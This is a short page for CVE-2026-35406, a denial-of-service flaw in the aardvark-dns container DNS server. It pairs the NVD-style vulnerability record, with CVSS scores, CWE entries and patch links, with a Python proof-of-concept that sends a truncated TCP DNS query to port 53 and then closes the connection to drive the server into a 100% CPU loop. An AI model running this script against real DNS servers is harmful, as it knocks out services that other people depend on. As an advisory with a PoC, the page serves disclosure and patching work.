CVE-2026-35406

import socket # Target configuration TARGET_IP = "127.0.0.1" TARGET_PORT = 53 # A truncated DNS header (Transaction ID: 0x1234, Flags: 0x0100, Questions: 1) # This packet is incomplete to simulate a truncated query. truncated_packet = b'\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00' def send_malicious_dns_query(): try: # Establish TCP connection to the DNS server print(f"Connecting to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(2) s.connect((TARGET_IP, TARGET_PORT)) # Send the truncated packet print("Sending truncated DNS query...") s.send(truncated_packet) # Immediately close the socket to send a RST or FIN # This simulates the connection reset mentioned in the CVE print("Resetting connection...") s.close() print("[+] Payload sent successfully. Check target CPU usage.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": send_malicious_dns_query()

{"cve": {"id": "CVE-2026-35406", "sourceIdentifier": "[email protected]", "published": "2026-04-07T22:16:23.277", "lastModified": "2026-04-16T04:33:54.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Aardvark-dns is an authoritative dns server for A/AAAA container records. From 1.16.0 to 1.17.0, a truncated TCP DNS query followed by a connection reset causes aardvark-dns to enter an unrecoverable infinite error loop at 100% CPU. This vulnerability is fixed in 1.17.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:containers:aardvark-dns:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.16.0", "versionEndExcluding": "1.17.1", "matchCriteriaId": "CD81C8DA-2E94-4EF0-AA53-E33BD76AAE26"}]}]}], "references": [{"url": "https://github.com/containers/aardvark-dns/commit/3b49ea7b38bdea134b7f03256f2e13f44ce73bb1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/containers/aardvark-dns/releases/tag/v1.17.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/containers/aardvark-dns/security/advisories/GHSA-hfpq-x728-986j", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}